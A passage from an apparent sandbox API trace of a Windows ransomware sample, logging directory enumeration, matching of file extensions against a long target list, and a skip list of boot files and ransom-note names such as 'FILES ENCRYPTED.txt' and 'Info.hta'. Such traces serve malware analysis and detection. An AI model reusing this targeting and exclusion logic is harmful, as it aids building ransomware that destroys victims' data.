lstrlenW (lpString=".crw") returned 4 [0183.330] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".cs") returned 3 [0183.330] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.330] lstrlenW (lpString=".css") returned 4 [0183.330] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".csv") returned 4 [0183.330] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".cub") returned 4 [0183.330] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".dae") returned 4 [0183.330] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".dat") returned 4 [0183.330] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".db") returned 3 [0183.330] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.330] lstrlenW (lpString=".dbf") returned 4 [0183.330] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".dbx") returned 4 [0183.330] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".dc3") returned 4 [0183.330] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".dcm") returned 4 [0183.330] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".dcr") returned 4 [0183.330] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".der") returned 4 [0183.330] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".dib") returned 4 [0183.330] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.331] lstrlenW (lpString=".dic") returned 4 [0183.331] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.331] lstrlenW (lpString=".dif") returned 4 [0183.331] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.331] lstrlenW (lpString=".divx") returned 5 [0183.331] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.331] lstrlenW (lpString=".djvu") returned 5 [0183.331] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.331] lstrlenW (lpString=".dng") returned 4 [0183.331] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.331] lstrlenW (lpString=".doc") returned 4 [0183.331] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.331] lstrlenW (lpString=".docm") returned 5 [0183.331] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.331] lstrlenW (lpString=".docx") returned 5 [0183.331] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.331] lstrlenW (lpString=".dot") returned 4 [0183.331] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".dotm") returned 5 [0183.332] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.332] lstrlenW (lpString=".dotx") returned 5 [0183.332] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.332] lstrlenW (lpString=".dpx") returned 4 [0183.332] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".dqy") returned 4 [0183.332] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".dsn") returned 4 [0183.332] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".dt") returned 3 [0183.332] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.332] lstrlenW (lpString=".dtd") returned 4 [0183.332] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".dwg") returned 4 [0183.332] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".dwt") returned 4 [0183.332] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".dx") returned 3 [0183.332] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.332] lstrlenW (lpString=".dxf") returned 4 [0183.332] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".edml") returned 5 [0183.332] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.332] lstrlenW (lpString=".efd") returned 4 [0183.332] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".elf") returned 4 [0183.332] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".emf") returned 4 [0183.332] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".emz") returned 4 [0183.332] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.332] lstrlenW (lpString=".epf") returned 4 [0183.332] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".eps") returned 4 [0183.333] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".epsf") returned 5 [0183.333] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.333] lstrlenW (lpString=".epsp") returned 5 [0183.333] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.333] lstrlenW (lpString=".erf") returned 4 [0183.333] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".exr") returned 4 [0183.333] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".f4v") returned 4 [0183.333] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".fido") returned 5 [0183.333] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.333] lstrlenW (lpString=".flm") returned 4 [0183.333] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".flv") returned 4 [0183.333] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".frm") returned 4 [0183.333] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".fxg") returned 4 [0183.333] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".geo") returned 4 [0183.333] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".gif") returned 4 [0183.333] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".grs") returned 4 [0183.333] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.333] lstrlenW (lpString=".gz") returned 3 [0183.333] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.333] lstrlenW (lpString=".h") returned 2 [0183.334] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.334] lstrlenW (lpString=".hdr") returned 4 [0183.334] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.334] lstrlenW (lpString=".hpp") returned 4 [0183.334] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.334] lstrlenW (lpString=".hta") returned 4 [0183.334] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.334] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0183.334] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.334] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.334] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.335] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.335] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0183.335] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.335] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB") returned 100 [0183.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.336] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.336] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9093, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.336] lstrlenW (lpString="index.html") returned 10 [0183.336] lstrlenW (lpString=".1cd") returned 4 [0183.336] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0183.337] lstrlenW (lpString=".3ds") returned 4 [0183.337] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0183.337] lstrlenW (lpString=".3fr") returned 4 [0183.337] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0183.337] lstrlenW (lpString=".3g2") returned 4 [0183.337] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0183.337] lstrlenW (lpString=".3gp") returned 4 [0183.337] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0183.337] lstrlenW (lpString=".7z") returned 3 [0183.337] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0183.337] lstrlenW (lpString=".accda") returned 6 [0183.337] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0183.337] lstrlenW (lpString=".accdb") returned 6 [0183.337] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0183.337] lstrlenW (lpString=".accdc") returned 6 [0183.337] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0183.337] lstrlenW (lpString=".accde") returned 6 [0183.337] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0183.337] lstrlenW (lpString=".accdt") returned 6 [0183.337] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0183.337] lstrlenW (lpString=".accdw") returned 6 [0183.337] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0183.337] lstrlenW (lpString=".adb") returned 4 [0183.337] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0183.337] lstrlenW (lpString=".adp") returned 4 [0183.337] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0183.337] lstrlenW (lpString=".ai") returned 3 [0183.337] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0183.337] lstrlenW (lpString=".ai3") returned 4 [0183.337] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0183.337] lstrlenW (lpString=".ai4") returned 4 [0183.338] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".ai5") returned 4 [0183.338] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".ai6") returned 4 [0183.338] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".ai7") returned 4 [0183.338] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".ai8") returned 4 [0183.338] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".anim") returned 5 [0183.338] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0183.338] lstrlenW (lpString=".arw") returned 4 [0183.338] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".as") returned 3 [0183.338] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0183.338] lstrlenW (lpString=".asa") returned 4 [0183.338] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".asc") returned 4 [0183.338] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".ascx") returned 5 [0183.338] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0183.338] lstrlenW (lpString=".asm") returned 4 [0183.338] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".asmx") returned 5 [0183.338] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0183.338] lstrlenW (lpString=".asp") returned 4 [0183.338] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".aspx") returned 5 [0183.338] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0183.338] lstrlenW (lpString=".asr") returned 4 [0183.338] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0183.338] lstrlenW (lpString=".asx") returned 4 [0183.339] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0183.339] lstrlenW (lpString=".avi") returned 4 [0183.339] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0183.339] lstrlenW (lpString=".avs") returned 4 [0183.339] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0183.339] lstrlenW (lpString=".backup") returned 7 [0183.339] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0183.339] lstrlenW (lpString=".bak") returned 4 [0183.339] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0183.339] lstrlenW (lpString=".bay") returned 4 [0183.339] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0183.339] lstrlenW (lpString=".bd") returned 3 [0183.339] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0183.339] lstrlenW (lpString=".bin") returned 4 [0183.339] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0183.339] lstrlenW (lpString=".bmp") returned 4 [0183.339] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0183.339] lstrlenW (lpString=".bz2") returned 4 [0183.339] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0183.339] lstrlenW (lpString=".c") returned 2 [0183.339] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.339] lstrlenW (lpString=".cdr") returned 4 [0183.339] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0183.339] lstrlenW (lpString=".cer") returned 4 [0183.339] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0183.339] lstrlenW (lpString=".cf") returned 3 [0183.339] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0183.339] lstrlenW (lpString=".cfc") returned 4 [0183.340] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".cfm") returned 4 [0183.340] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".cfml") returned 5 [0183.340] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0183.340] lstrlenW (lpString=".cfu") returned 4 [0183.340] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".chm") returned 4 [0183.340] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".cin") returned 4 [0183.340] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".class") returned 6 [0183.340] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0183.340] lstrlenW (lpString=".clx") returned 4 [0183.340] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".config") returned 7 [0183.340] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0183.340] lstrlenW (lpString=".cpp") returned 4 [0183.340] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".cr2") returned 4 [0183.340] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".crt") returned 4 [0183.340] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".crw") returned 4 [0183.340] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".cs") returned 3 [0183.340] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0183.340] lstrlenW (lpString=".css") returned 4 [0183.340] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".csv") returned 4 [0183.340] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".cub") returned 4 [0183.340] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0183.340] lstrlenW (lpString=".dae") returned 4 [0183.340] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".dat") returned 4 [0183.341] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".db") returned 3 [0183.341] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0183.341] lstrlenW (lpString=".dbf") returned 4 [0183.341] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".dbx") returned 4 [0183.341] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".dc3") returned 4 [0183.341] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".dcm") returned 4 [0183.341] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".dcr") returned 4 [0183.341] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".der") returned 4 [0183.341] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".dib") returned 4 [0183.341] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".dic") returned 4 [0183.341] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".dif") returned 4 [0183.341] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".divx") returned 5 [0183.341] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0183.341] lstrlenW (lpString=".djvu") returned 5 [0183.341] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0183.341] lstrlenW (lpString=".dng") returned 4 [0183.341] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0183.341] lstrlenW (lpString=".doc") returned 4 [0183.342] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0183.342] lstrlenW (lpString=".docm") returned 5 [0183.342] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0183.342] lstrlenW (lpString=".docx") returned 5 [0183.342] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0183.342] lstrlenW (lpString=".dot") returned 4 [0183.342] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0183.342] lstrlenW (lpString=".dotm") returned 5 [0183.342] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0183.342] lstrlenW (lpString=".dotx") returned 5 [0183.342] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0183.342] lstrlenW (lpString=".dpx") returned 4 [0183.342] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0183.342] lstrlenW (lpString=".dqy") returned 4 [0183.342] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0183.342] lstrlenW (lpString=".dsn") returned 4 [0183.342] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0183.342] lstrlenW (lpString=".dt") returned 3 [0183.342] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0183.342] lstrlenW (lpString=".dtd") returned 4 [0183.342] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0183.342] lstrlenW (lpString=".dwg") returned 4 [0183.342] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0183.342] lstrlenW (lpString=".dwt") returned 4 [0183.342] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0183.342] lstrlenW (lpString=".dx") returned 3 [0183.342] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0183.342] lstrlenW (lpString=".dxf") returned 4 [0183.342] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0183.343] lstrlenW (lpString=".edml") returned 5 [0183.343] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0183.343] lstrlenW (lpString=".efd") returned 4 [0183.343] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0183.343] lstrlenW (lpString=".elf") returned 4 [0183.343] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0183.343] lstrlenW (lpString=".emf") returned 4 [0183.343] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0183.343] lstrlenW (lpString=".emz") returned 4 [0183.343] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0183.343] lstrlenW (lpString=".epf") returned 4 [0183.343] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0183.343] lstrlenW (lpString=".eps") returned 4 [0183.343] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0183.343] lstrlenW (lpString=".epsf") returned 5 [0183.343] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0183.343] lstrlenW (lpString=".epsp") returned 5 [0183.343] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0183.343] lstrlenW (lpString=".erf") returned 4 [0183.343] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0183.343] lstrlenW (lpString=".exr") returned 4 [0183.343] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0183.343] lstrlenW (lpString=".f4v") returned 4 [0183.343] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0183.343] lstrlenW (lpString=".fido") returned 5 [0183.343] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0183.343] lstrlenW (lpString=".flm") returned 4 [0183.343] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".flv") returned 4 [0183.344] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".frm") returned 4 [0183.344] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".fxg") returned 4 [0183.344] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".geo") returned 4 [0183.344] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".gif") returned 4 [0183.344] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".grs") returned 4 [0183.344] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".gz") returned 3 [0183.344] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0183.344] lstrlenW (lpString=".h") returned 2 [0183.344] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.344] lstrlenW (lpString=".hdr") returned 4 [0183.344] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".hpp") returned 4 [0183.344] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".hta") returned 4 [0183.344] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".htc") returned 4 [0183.344] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".htm") returned 4 [0183.344] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0183.344] lstrlenW (lpString=".html") returned 5 [0183.344] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0183.344] lstrlenW (lpString="index.html") returned 10 [0183.345] lstrlenW (lpString=".NEWS") returned 5 [0183.345] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0183.345] lstrlenW (lpString="index.html") returned 10 [0183.345] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0183.345] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0183.345] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0183.345] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0183.345] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0183.345] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0183.345] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0183.397] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0183.397] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html") returned 111 [0183.397] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x14d9d700, ftLastWriteTime.dwHighDateTime=0x1d29cb5, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", 